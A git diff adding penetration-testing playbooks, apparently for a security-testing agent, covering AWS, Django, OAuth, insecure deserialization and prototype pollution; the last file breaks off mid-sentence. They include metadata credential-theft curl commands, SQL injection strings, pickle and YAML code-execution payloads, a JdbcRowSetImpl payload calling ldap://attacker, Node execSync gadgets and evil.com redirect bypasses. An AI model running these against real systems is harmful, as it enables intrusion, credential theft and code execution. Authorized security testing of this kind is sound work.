diff --git a/strix/skills/cloud/aws.md b/strix/skills/cloud/aws.md new file mode 100644 index 0000000..13bc8a6 --- /dev/null +++ b/strix/skills/cloud/aws.md @@ -0,0 +1,195 @@ +--- +name: aws +description: AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths +--- + +# AWS Cloud Security + +AWS misconfigurations frequently expose credentials, data, and lateral movement paths. This skill covers direct AWS API testing and post-compromise enumeration from EC2/Lambda/container workloads. For SSRF-mediated metadata access, combine with the ssrf skill. + +## Attack Surface + +**Identity** +- IAM users, roles, groups, policies (inline and managed) +- Access keys, session tokens, SSO/SAML federation +- Cross-account roles, trust policies, permission boundaries + +**Storage & Data** +- S3 buckets, objects, bucket policies, ACLs, Block Public Access settings +- EBS snapshots, RDS snapshots, AMIs shared publicly +- Secrets Manager, SSM Parameter Store, KMS keys + +**Compute** +- EC2 instances, Lambda functions, ECS/EKS tasks +- Instance metadata service (IMDSv1/v2) at `169.254.169.254` +- User data, launch templates, AMIs + +**Network** +- Security groups, NACLs, VPC endpoints, public subnets +- ELB/ALB/CloudFront misconfigurations + +**Management** +- CloudTrail, Config, GuardDuty gaps +- Cognito user pools, API Gateway, AppSync + +## Reconnaissance + +**Credential Discovery** +- Environment variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN` +- `~/.aws/credentials`, `~/.aws/config`, CI/CD env vars, `.env` files +- Hardcoded keys in source, mobile apps, JavaScript bundles + +**Unauthenticated Enumeration** +``` +# S3 bucket existence (403 vs 404 reveals existence) +aws s3 ls s3://target-bucket --no-sign-request +curl -I https://target-bucket.s3.amazonaws.com/ + +# Public listing +aws s3 ls s3://target-bucket --no-sign-request +``` + +**Authenticated Enumeration (with any credentials)** +``` +aws sts get-caller-identity +aws iam get-account-authorization-details 2>/dev/null +aws iam list-users +aws iam list-roles +aws iam list-attached-user-policies --user-name +aws s3 ls +aws ec2 describe-instances +``` + +## Key Vulnerabilities + +### S3 Misconfigurations + +- Public read/write buckets (ACL `public-read`, policy `"Principal":"*"`) +- AuthenticatedUsers group grants (`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`) +- ListBucket enabled publicly → object key enumeration +- Sensitive object keys guessable: `backup/`, `db/`, `.env`, `config/`, `logs/` + +**Test:** +``` +aws s3 ls s3://BUCKET --no-sign-request +aws s3 cp s3://BUCKET/sensitive-file . --no-sign-request +curl https://BUCKET.s3.amazonaws.com/ +``` + +### IAM Privilege Escalation + +Common escalation paths (verify with `aws iam simulate-principal-policy` when possible): + +| Permission | Escalation | +|------------|------------| +| `iam:CreatePolicyVersion` | Attach admin policy version to self | +| `iam:SetDefaultPolicyVersion` | Roll back to older permissive policy version | +| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with admin role, invoke | +| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with instance profile | +| `sts:AssumeRole` on overprivileged role | Cross-account or same-account pivot | +| `iam:UpdateAssumeRolePolicy` | Add self to trust policy of privileged role | +| `iam:AttachUserPolicy` / `PutUserPolicy` | Self-grant admin | + +**Test:** +``` +aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2) +aws iam simulate-principal-policy --policy-source-arn --action-names iam:CreateAccessKey --resource-arns "*" +``` + +### Instance Metadata Abuse + +**IMDSv1 (no token required)** +``` +curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ +curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ +curl http://169.254.169.254/latest/user-data +``` + +**IMDSv2 bypass contexts** +- SSRF with header injection if server forwards `X-aws-ec2-metadata-token` +- Container sidecars without hop limit enforcement +- Misconfigured proxies allowing link-local access + +### Snapshot and Backup Exposure + +- Public EBS/RDS snapshots: `aws ec2 describe-snapshots --restorable-by-user-names all` +- AMIs with `Public` launch permission containing secrets or keys +- Backup vaults cross-account without proper isolation + +### Lambda and Serverless + +- Overprivileged execution roles (`AdministratorAccess` on Lambda role) +- Environment variables containing secrets (visible via `lambda:GetFunctionConfiguration`) +- Function URLs or API Gateway without auth +- Event source mappings triggering on attacker-controlled events + +### Cognito Misconfigurations + +- Self-signup enabled with elevated default group membership +- Missing app client secret on confidential flows +- Custom attribute write permissions allowing privilege fields (`custom:role`, `custom:admin`) +- ID token custom claims trusted by backend without verification + +### KMS and Secrets + +- KMS key policies allowing `Principal: *` or overly broad accounts +- Secrets Manager secrets readable by unintended roles +- SSM parameters under `/` with `GetParameter` for unauthenticated or low-priv callers + +## Advanced Techniques + +**Cross-Account Role Assumption** +- Find roles trusting `*` or external accounts broadly +- Confused deputy: service assumes role without external ID validation + +**CloudFront Origin Exposure** +- Origin pointing directly to S3 website or ALB bypassing WAF +- Signed URL/cookie misconfiguration allowing object access + +**Resource-Based Policy Gaps** +- S3 bucket policy allowing `s3:GetObject` from unintended principals +- Lambda resource policy `Principal: *` with weak condition keys + +## Testing Methodology + +1. **Discover credentials** — Keys in code, env, metadata, or SSRF +2. **Identify principal** — `get-caller-identity`, map effective permissions +3. **Enumerate resources** — S3, EC2, IAM, Lambda within policy bounds +4. **Escalation paths** — Run escalation checklist against attached policies +5. **Data exposure** — Public buckets, snapshots, secrets, user-data scripts +6. **Persistence** — New access keys, backdoor roles, Lambda triggers (only in authorized scope) + +## Validation + +1. Demonstrate unauthorized read/write of S3 objects or snapshots with evidence (object keys, ETags) +2. Show IAM escalation from low-priv to higher-priv with exact API calls and resulting permissions +3. Prove metadata credential theft path (SSRF or IMDS) with redacted temporary credentials scope +4. Document resource ARN, policy statement, and misconfiguration root cause +5. Confirm fix would block the specific principal/action/resource combination + +## False Positives + +- Intentionally public static assets bucket with no sensitive keys +- Read-only `s3:ListBucket` on empty marketing bucket +- Metadata endpoint unreachable from tested context (no SSRF, IMDSv2 enforced with hop limit) +- Simulated escalation blocked by permission boundary or SCP +- 403 on S3 that indicates existence but not readable content (still note for recon, not data breach) + +## Impact + +- Mass data exfiltration from S3/RDS/snapshots +- Full account or organization compromise via IAM escalation +- Persistent backdoor access through new keys or roles +- Regulatory exposure (PII/PCI in unencrypted public buckets) + +## Pro Tips + +1. Always run `get-caller-identity` first to know your effective principal +2. Distinguish 403 vs 404 on S3 — both are useful, mean different things +3. Check instance profile role, not just user credentials, from metadata +4. Review trust policies on roles, not just permission policies +5. Combine with subdomain takeover — dangling S3 bucket names in DNS CNAMEs + +## Summary + +AWS security requires least-privilege IAM, blocked public data paths, IMDSv2 with hop limits, and tight resource policies. Enumerate from any credential found — even limited read access often reveals escalation chains. diff --git a/strix/skills/frameworks/django.md b/strix/skills/frameworks/django.md new file mode 100644 index 0000000..665ad1e --- /dev/null +++ b/strix/skills/frameworks/django.md @@ -0,0 +1,203 @@ +--- +name: django +description: Security testing playbook for Django applications covering ORM injection, middleware gaps, auth/session flaws, and template issues +--- + +# Django + +Security testing for Django web applications and Django REST Framework (DRF) APIs. Focus on ORM/raw query misuse, middleware ordering, permission class gaps, and session/auth configuration across views, admin, and channels. + +## Attack Surface + +**Core Components** +- URL routing (`urls.py`), class-based and function views, middleware stack +- ORM (QuerySet filters), raw SQL, `extra()`, `RawSQL`, annotations +- Templates (Django template language, Jinja2 if configured) +- Forms, ModelForms, serializers (DRF) + +**Authentication** +- Session framework, `AuthenticationMiddleware`, `@login_required`, DRF `permission_classes` +- Token auth, JWT (djangorestframework-simplejwt), OAuth integrations +- Django admin (`/admin/`), staff/superuser flags + +**Deployment** +- `DEBUG=True` exposure, `ALLOWED_HOSTS`, `SECRET_KEY` leakage +- Static/media serving, reverse proxies, ASGI (Channels, Daphne, Uvicorn) + +## High-Value Targets + +- `/admin/` — brute force, credential stuffing, IDOR on admin objects +- API endpoints with mixed permission classes across ViewSets +- File upload (`FileField`, `ImageField`), import/export (django-import-export) +- Search/filter endpoints using `filter()`, `Q` objects, or raw SQL +- Password reset, email verification, invitation tokens +- WebSocket consumers (Django Channels) with weaker auth than HTTP equivalents +- Celery task triggers accepting user IDs without ownership checks + +## Reconnaissance + +**Fingerprinting** +``` +curl -I https://target/ -H "Cookie: sessionid=test" +# X-Frame-Options, Set-Cookie (sessionid, csrftoken), Server header +GET /admin/login/ +GET /api/ /api/v1/ /swagger/ /api/schema/ +``` + +**Settings Leakage (when DEBUG=True or misconfigured)** +- Yellow debug page exposes `SECRET_KEY`, database credentials, installed apps +- `/static/`, error pages with stack traces revealing paths and ORM queries + +**OpenAPI / DRF** +``` +GET /api/schema/ +GET /swagger.json +``` +Map endpoints, authentication classes, and permission classes per route. + +## Key Vulnerabilities + +### Authentication & Authorization + +**Permission Class Gaps** +- ViewSet with `list` protected but `retrieve`/`update` missing `permission_classes` +- Custom permissions checking authentication but not object ownership (IDOR) +- `@api_view` without explicit permissions inheriting permissive defaults +- Admin actions or custom management commands without staff checks + +**Session Issues** +- `SESSION_COOKIE_SECURE=False` on HTTPS sites; missing `HttpOnly` +- Session fixation if session key not rotated on login +- Weak or leaked `SECRET_KEY` → forge session cookies (`django.contrib.sessions.backends.signed_cookies`) + +**JWT (simplejwt)** +- Accepting `HS256` with public key confusion if misconfigured +- Missing `user_id`/`token` blacklist on logout +- Refresh token rotation not enforced + +### Injection + +**ORM SQL Injection** +Vulnerable patterns (more common in legacy code): +```python +User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{user_input}'") +User.objects.extra(where=[f"username = '{user_input}'"]) +``` +Test: `' OR 1=1 --`, time-based payloads, database-specific syntax. + +**DRF Filter Backends** +- `django-filter` with unsafe field exposure: `?username__icontains=` on unintended columns +- Ordering injection via `?ordering=` if field whitelist missing + +**Template Injection** +Django templates auto-escape by default; risk rises with: +```python +mark_safe(user_input) +|safe filter in templates +Template(user_input).render(...) # SSTI if user controls template source +``` +Jinja2 backend without autoescape: `{{7*7}}`, RCE gadgets if sandbox misconfigured. + +### CSRF + +- `@csrf_exempt` on state-changing views +- DRF session authentication without CSRF enforcement on unsafe methods +- CSRF cookie not set (`CSRF_USE_SESSIONS`, trusted origins misconfiguration) +- `CSRF_TRUSTED_ORIGINS` too broad + +**Test:** Cross-origin POST with victim session cookie; JSON endpoints with session auth. + +### IDOR and Mass Assignment + +**DRF Serializers** +- `fields = '__all__'` exposing `is_staff`, `is_superuser`, `role`, `balance` +- `read_only_fields` missing on sensitive ModelSerializer fields +- Nested writes updating foreign keys across tenants + +**Object-Level Permissions** +- `get_object()` without filtering queryset by request.user +- Generic views with `queryset = Model.objects.all()` and weak permissions + +### File Handling + +- `MEDIA_ROOT` served directly in DEBUG or via misconfigured nginx +- Path traversal in custom file download views using user-supplied paths +- SVG/HTML uploads served with `Content-Type` that enables XSS +- Missing file size/type validation on uploads + +### SSRF + +- `requests.get(user_url)` in webhooks, preview, import features +- Celery tasks fetching user URLs server-side +- Test loopback, metadata IPs, redirect chains + +### Host Header / Password Reset + +- `ALLOWED_HOSTS = ['*']` or permissive subdomain patterns +- Password reset emails built from `Host` header → poisoned reset links +- Cache poisoning via unkeyed Host header on cached pages + +### Django Admin + +- Default `/admin/` path with weak credentials +- `has_add_permission` / `has_change_permission` overrides with logic bugs +- ModelAdmin exposing sensitive fields in list_display or export + +### Channels / WebSocket + +- Consumer accepts connection without session/auth parity to HTTP +- Group name derived from user input → subscribe to other users' channels +- Missing origin validation on WebSocket handshake + +## Bypass Techniques + +- Content negotiation: JSON vs form data hitting different parser/permission paths +- HTTP method override or trailing slash routing to alternate view +- Parameter pollution: duplicate `id` fields in query and body +- Race on state transitions (coupon redemption, inventory) via parallel requests +- Versioned API (`/api/v1/` vs `/api/v2/`) with weaker auth on older version + +## Testing Methodology + +1. **Map surface** — URLs, DRF schema, admin, static/media paths +2. **Auth matrix** — Unauthenticated/user/staff for each endpoint and method +3. **Object ownership** — Swap IDs across two user accounts on every CRUD route +4. **Serializer audit** — Identify writable sensitive fields and nested relations +5. **Middleware order** — Confirm auth runs before business logic; check CSRF on session APIs +6. **Channel parity** — Same authorization on WebSocket actions as REST equivalents +7. **Settings review (white-box)** — DEBUG, ALLOWED_HOSTS, SECRET_KEY, session/cookie flags + +## Validation + +1. Side-by-side requests proving unauthorized access (IDOR, privilege escalation) +2. CSRF PoC executing state change with victim session (for session-authenticated endpoints) +3. SQLi/template injection with deterministic oracle (error, timing, or `7*7` equivalent) +4. Document view/serializer/permission class where enforcement failed +5. Show admin or staff capability gained from regular user context if applicable + +## False Positives + +- `queryset.filter(user=request.user)` consistently applied including nested routes +- Object-level permission class correctly validates ownership on all actions +- DEBUG=False and generic error pages with no settings leakage confirmed +- Mark_safe used only on server-generated trusted content +- CSRF correctly enforced on all session-authenticated unsafe methods + +## Impact + +- Account takeover via session forgery or password reset poisoning +- Horizontal/vertical privilege escalation through IDOR and mass assignment +- Data breach via ORM/SQL injection or excessive serializer fields +- Server compromise via SSTI, pickle in cache (if used), or SSRF to internal services + +## Pro Tips + +1. DRF ViewSets often protect `list` but forget `destroy` or custom `@action` routes +2. Check `APIView` subclasses for missing `permission_classes` — common oversight +3. Test `?format=` and browsable API HTML responses for CSRF on session auth +4. `django.contrib.admin` uses separate auth — don't assume API auth covers admin +5. Compare ASGI WebSocket consumers against REST permissions for the same resource + +## Summary + +Django's defaults help (CSRF middleware, template auto-escape) but DRF, raw SQL, custom permissions, and deployment settings introduce frequent gaps. Test every endpoint with role-separated principals and verify object-level enforcement on querysets, not just authentication presence. diff --git a/strix/skills/protocols/oauth.md b/strix/skills/protocols/oauth.md new file mode 100644 index 0000000..5021f7b --- /dev/null +++ b/strix/skills/protocols/oauth.md @@ -0,0 +1,171 @@ +--- +name: oauth +description: OAuth 2.0 and OIDC flow security testing covering redirect manipulation, token leakage, PKCE bypass, and client misconfiguration +--- + +# OAuth 2.0 / OIDC + +OAuth and OIDC failures often enable account takeover, token theft, and cross-client token confusion. Treat every redirect, client identifier, and token exchange as an authorization boundary — not a convenience layer. + +## Attack Surface + +**Flows** +- Authorization code (with/without PKCE) +- Implicit (legacy), hybrid, device authorization, client credentials +- Refresh token rotation, token introspection, revocation + +**Endpoints** +- `/authorize`, `/token`, `/userinfo`, `/introspect`, `/revoke`, `/logout` +- `/.well-known/openid-configuration`, `/jwks.json` +- Dynamic client registration (if enabled) + +**Token Types** +- Authorization codes, access tokens, refresh tokens, ID tokens +- Opaque vs JWT formats; reference tokens vs self-contained JWTs + +**Client Types** +- Public clients (SPAs, mobile) vs confidential (server-side) +- Multiple redirect URIs, wildcard/pattern matching, custom URI schemes + +## Reconnaissance + +**Discovery** +``` +GET /.well-known/openid-configuration +GET /oauth2/.well-known/openid-configuration +GET /.well-known/oauth-authorization-server +``` + +Extract: `authorization_endpoint`, `token_endpoint`, `registration_endpoint`, supported `response_types`, `code_challenge_methods_supported`, `grant_types_supported`. + +**Client Enumeration** +- Inspect JS bundles, mobile APK/IPA configs, GitHub repos for `client_id`, redirect URIs, scopes +- Check error messages for client validation hints ("invalid redirect_uri", "unregistered client") + +## Key Vulnerabilities + +### Redirect URI Manipulation + +**Open Redirect Chains** +- Register or guess permissive redirect patterns: `https://app.com/callback`, path-prefix only, subdomain wildcards +- Test: append paths, fragments, query injection, `@` tricks, encoded slashes, backslash variants + +``` +https://app.com/callback.evil.com +https://app.com/callback%2f..%2f@evil.com +https://app.com/callback?next=https://evil.com +com.app://callback (mobile custom scheme) +``` + +**Redirect URI Validation Bypasses** +- Trailing slash, case, port, scheme downgrade (`http` vs `https`) +- Path normalization differentials between IdP validator and consuming app +- `redirect_uri` parameter pollution (first vs last wins) +- Wildcard subdomain acceptance: `*.app.com` → register `attacker.app.com` or find dangling subdomain + +### Authorization Code Issues + +**Code Leakage** +- Codes in URL fragments, Referer headers, browser history, server logs, analytics +- Code replay before expiry; missing one-time-use enforcement +- Code sent to wrong redirect_uri if binding is weak + +**Code Injection / Mix-Up** +- Attacker initiates flow, victim completes login, code delivered to attacker's redirect +- Mix-up attack: swap `client_id` between authorize and token steps +- Missing `redirect_uri` binding at token endpoint + +### State and Nonce + +- Missing, predictable, or reusable `state` → CSRF on OAuth login (session fixation, account linking) +- Missing `nonce` in OIDC → ID token injection/replay +- `state` not bound to client session or PKCE verifier + +### PKCE Bypass + +- `code_challenge_method` downgrade: accept `plain` instead of `S256` +- Missing PKCE requirement on public clients +- `code_verifier` not validated or compared case-insensitively with weak matching +- Authorization code issued without challenge, token endpoint accepts any verifier + +### Client Authentication + +**Public Client Abuse** +- Token endpoint accepts requests without `client_secret` for confidential clients +- `client_id` only authentication on token/introspection endpoints +- Dynamic registration with attacker-controlled redirect URIs + +**Secret Leakage** +- Hardcoded secrets in mobile apps, SPAs, or public repos +- `client_secret` accepted in query string or logged in access logs + +### Scope and Token Issues + +- Scope escalation: request `admin`/`offline_access`/`openid profile email` beyond app need; server grants all requested scopes +- Refresh token not rotated or reuse not detected → persistent access +- Access token accepted across services (missing audience/resource binding) +- Token introspection returns `active:true` without proper auth on introspection endpoint + +### OpenID Connect Specific + +- ID token accepted as access token at resource servers (token confusion) +- `acr`, `amr`, `auth_time` not validated for step-up requirements +- Userinfo endpoint returns PII without matching access token scope +- `sub` collision across issuers if `iss` not validated + +## Advanced Techniques + +**Referer Leakage** +- Embed authorized redirect as subresource on attacker page; harvest `code` from Referer if policy allows + +**Device Flow Abuse** +- Poll `device_code` endpoint with guessed codes; slow rate limits only +- User approves attacker-initiated device login + +**Account Linking** +- OAuth login links attacker's IdP identity to victim's local account without re-auth +- Email collision: same email from different IdP providers + +## Testing Methodology + +1. **Map flows** — Identify all grant types, clients, and redirect URIs in use +2. **Redirect matrix** — For each client, fuzz redirect_uri validation with encoding and parser tricks +3. **CSRF** — Initiate OAuth without `state`; swap sessions mid-flow +4. **PKCE** — Replay codes with wrong/missing verifier; downgrade challenge method +5. **Token exchange** — Swap codes/tokens between clients; test cross-audience acceptance +6. **Mobile/deep links** — Custom schemes, intent filters, universal links hijacking + +## Validation + +1. Demonstrate stolen authorization code or token via redirect manipulation or Referer leak +2. Show account takeover or access to victim resources with attacker's OAuth session +3. Prove CSRF: victim completes login into attacker's linked session without consent UI bypass where applicable +4. Document exact validation gap (redirect binding, PKCE, state, audience) +5. Provide full authorize → callback → token request chain with before/after evidence + +## False Positives + +- Redirect URI rejected consistently across all bypass attempts +- Public client correctly requires PKCE S256 with strict verifier validation +- `state`/`nonce` enforced and bound; CSRF test fails as expected +- Token audience/issuer correctly validated at resource server +- Custom scheme redirects require app ownership proof (verified Android/iOS app links) + +## Impact + +- Full account takeover via stolen authorization codes or tokens +- Persistent access through refresh token theft +- Cross-tenant or cross-client data access via token confusion +- PII exposure from userinfo or ID token claim leakage + +## Pro Tips + +1. Always capture the full redirect chain including intermediate 302 locations +2. Compare authorize-step and token-step parameter binding (`redirect_uri`, `client_id`, PKCE) +3. Test both web and mobile clients — validation rules often differ +4. Check logout/revocation — tokens may remain valid after "logout" +5. Chain with open redirect or XSS on the legitimate redirect_uri to exfiltrate codes + +## Summary + +OAuth security hinges on strict redirect URI binding, unguessable state/nonce, PKCE for public clients, and consistent token audience validation. Any gap in the authorize-to-token chain is a potential account takeover. diff --git a/strix/skills/vulnerabilities/insecure_deserialization.md b/strix/skills/vulnerabilities/insecure_deserialization.md new file mode 100644 index 0000000..e7e6d9b --- /dev/null +++ b/strix/skills/vulnerabilities/insecure_deserialization.md @@ -0,0 +1,168 @@ +--- +name: insecure_deserialization +description: Insecure deserialization testing for Java, Python, PHP, .NET, and Ruby covering gadget chains, type confusion, and safe validation +--- + +# Insecure Deserialization + +Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens. + +## Attack Surface + +**Formats** +- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML) +- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve +- PHP: `unserialize()`, Phar deserialization +- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState +- Ruby: `Marshal.load`, YAML.load +- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs) + +**Input Locations** +- Cookies, session tokens, hidden form fields +- API parameters (`data`, `state`, `object`, base64 blobs) +- Message queues, WebSocket binary frames, file uploads +- Cache entries, database columns storing serialized objects + +## Reconnaissance + +**Detection Signals** +- Base64 blobs starting with magic bytes: + - Java: `ac ed 00 05` (hex `rO0` base64) + - PHP: `O:`, `a:`, `s:` prefixes after decode + - .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff` +- `Content-Type` with binary or custom serialization +- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions + +**White-Box Indicators** +``` +pickle.loads unserialize( ObjectInputStream BinaryFormatter +yaml.load readObject( TypeNameHandling Marshal.load +``` + +## Key Vulnerabilities + +### Java Deserialization + +**Gadget Chains** +- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath) +- Tools: ysoserial (authorized testing only), manual chain selection by classpath + +**Test Flow** +1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed) +2. Fingerprint library versions from errors, headers, or bundled libs +3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution + +**Jackson / JSON Typing** +```json +["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}] +``` +When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types. + +### Python Pickle + +Pickle executes arbitrary code during unpickling by design: +```python +import pickle, os, base64 +class Exploit: + def __reduce__(self): + return (os.system, ('id',)) +# base64 encode pickle.dumps(Exploit()) and send as cookie/param +``` + +**YAML** +```yaml +!!python/object/apply:os.system ['id'] +``` +When `yaml.load` used instead of `yaml.safe_load`. + +### PHP unserialize() + +**Object Injection** +- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call` +- POP chains through framework classes (Laravel, Symfony, WordPress plugins) + +**Phar Deserialization** +- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations + +### .NET Deserialization + +**BinaryFormatter / LosFormatter** +- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net) + +**Json.NET** +```json +{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...} +``` +When `TypeNameHandling` != `None`. + +**ViewState** +- MAC disabled or weak machine keys → forge deserialized view state + +### Ruby Marshal + +- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent) + +## Advanced Techniques + +**Signed Blob Bypass** +- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload +- Strip signature and test unsigned code paths +- Length extension on MAC if applicable (older custom schemes) + +**Second-Order Deserialization** +- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job + +**Compression Wrappers** +- Gzip/base64 nested encoding bypassing naive WAF inspection + +## Testing Methodology + +1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data +2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint +3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC +4. **Gadget selection** — Match classpath/runtime version to available chains +5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command +6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early + +## Validation + +1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject) +2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation +3. Provide encoded payload and exact injection point (cookie name, parameter, header) +4. Confirm on fixed version or alternate instance that identical payload fails safely +5. Document library/version and gadget chain class names for remediation + +## False Positives + +- Base64 data is encrypted or signed with verified HMAC before deserialization +- Only primitive types deserialized (whitelist schema, no polymorphic types) +- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation +- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly) +- Error mentions serialization class but input is never passed to unmarshal (dead code path) + +## Bypass Methods + +- Encoding layers: base64 → gzip → serialize +- Alternative parameters storing same session (`session`, `session_backup`, `state`) +- Switch content-type or parameter location (GET vs POST vs cookie) +- Type confusion: JSON array vs object hitting different deserializer branches +- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts) + +## Impact + +- Remote code execution on application servers +- Authentication bypass via forged session objects +- Privilege escalation through manipulated role/admin fields in deserialized classes +- Full application compromise in Java/PHP/.NET stacks with known gadget libraries + +## Pro Tips + +1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise +2. Start with DNS/HTTP callback gadgets before command execution in production-like targets +3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens +4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source +5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps + +## Summary + +Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces. diff --git a/strix/skills/vulnerabilities/prototype_pollution.md b/strix/skills/vulnerabilities/prototype_pollution.md new file mode 100644 index 0000000..5eed6e5 --- /dev/null +++ b/strix/skills/vulnerabilities/prototype_pollution.md @@ -0,0 +1,132 @@ +--- +name: prototype_pollution +description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses +--- + +# Prototype Pollution + +Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering. + +## Attack Surface + +**Languages & Runtimes** +- JavaScript/TypeScript (browser and Node.js) +- JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys +- Server-side template engines and config merge utilities + +**Input Vectors** +- JSON request bodies, query strings, multipart form fields +- URL-encoded nested objects (`__proto__[key]=value`) +- WebSocket messages, GraphQL variables, file import formats (JSON, YAML) + +**Vulnerable Patterns** +- Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops +- Query parsers: `qs`, `body-parser` with nested object support +- Client-side routing, state hydration, analytics SDK config merges + +## Key Vulnerabilities + +### Client-Side Prototype Pollution + +**Gadget Effects** +- Bypass auth checks reading `user.isAdmin` when polluted on prototype +- DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders +- Cookie/session manipulation if app reads config from polluted defaults + +**Payload Shapes** +```json +{"__proto__": {"isAdmin": true}} +{"constructor": {"prototype": {"isAdmin": true}}} +{"__proto__.polluted": "yes"} +``` + +**URL-encoded (qs-style)** +``` +?__proto__[isAdmin]=true +?constructor[prototype][isAdmin]=true +``` + +### Server-Side Prototype Pollution (Node.js) + +**Common Sinks** +- `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options` +- Express/query parsers accepting nested objects +- YAML `load()` (not `safeLoad`) with prototype keys +- JSON.parse → merge into existing object without null prototype + +**RCE Gadget Chains (Node.js)** +Pollute properties consumed by child_process, template engines, or require paths: +```json +{"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}} +{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}} +``` + +Gadget availability depends on package versions — enumerate `node_modules` in white-box scans. + +### Filter Bypasses + +**Key Sanitization Bypasses** +- Unicode normalization: `__proto__` variants, fullwidth underscores +- Nested forms: `constructor.prototype` instead of `__proto__` +- Array pollution: `__proto__[0]`, `[].__proto__` +- JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill) + +**Freeze/Seal Gaps** +- Pollution before `Object.freeze` on instance but not prototype +- Pollution affecting newly created objects after merge + +## Testing Methodology + +1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects +2. **Baseline probe** — Inject benign pollution marker: + ```json + {"__proto__": {"strixPolluted": "yes"}} + ``` + Verify via response behavior, error messages, or follow-up request reading shared state +3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation +4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint +5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers) +6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks + +## Validation + +1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects +2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC +3. Prove pollution persists across requests (server) or page lifetime (client) as applicable +4. Document exact merge function and input path (parameter name, content-type) +5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype` + +## False Positives + +- Parser strips `__proto__` before merge — marker property never appears on prototype +- Framework uses `Object.create(null)` for options objects throughout +- Polluted key visible in JSON echo but never merged into object graph +- Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change) +- WAF blocks payload but alternate encoding also blocked consistently + +## Bypass Methods + +- Switch from `__proto__` to `constructor[prototype]` when only one is filtered +- Use array notation: `__proto__[key]`, `[].__proto__.key` +- Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart +- Split pollution across multiple parameters merged sequentially +- Second-order pollution: store payload, trigger merge in background job or export pipeline + +## Impact + +- Authentication/authorization bypass via polluted flag checks +- DOM XSS and session compromise in browsers +- Remote code execution on Node.js through known gadget chains +- Denial of service via polluting widely read prototype properties + +## Pro Tips + +1. Always verify pollution with a unique canary key (`strixPolluted_`) before attempting RCE gadgets +2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input +3. Check both request parsing and response template config merges (second-order) +4. Node gadget chains are version-specific — confirm package version before claiming RCE +5. Combine with client-side template injection if polluted keys flow into rendering config + +## Summary + +Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` 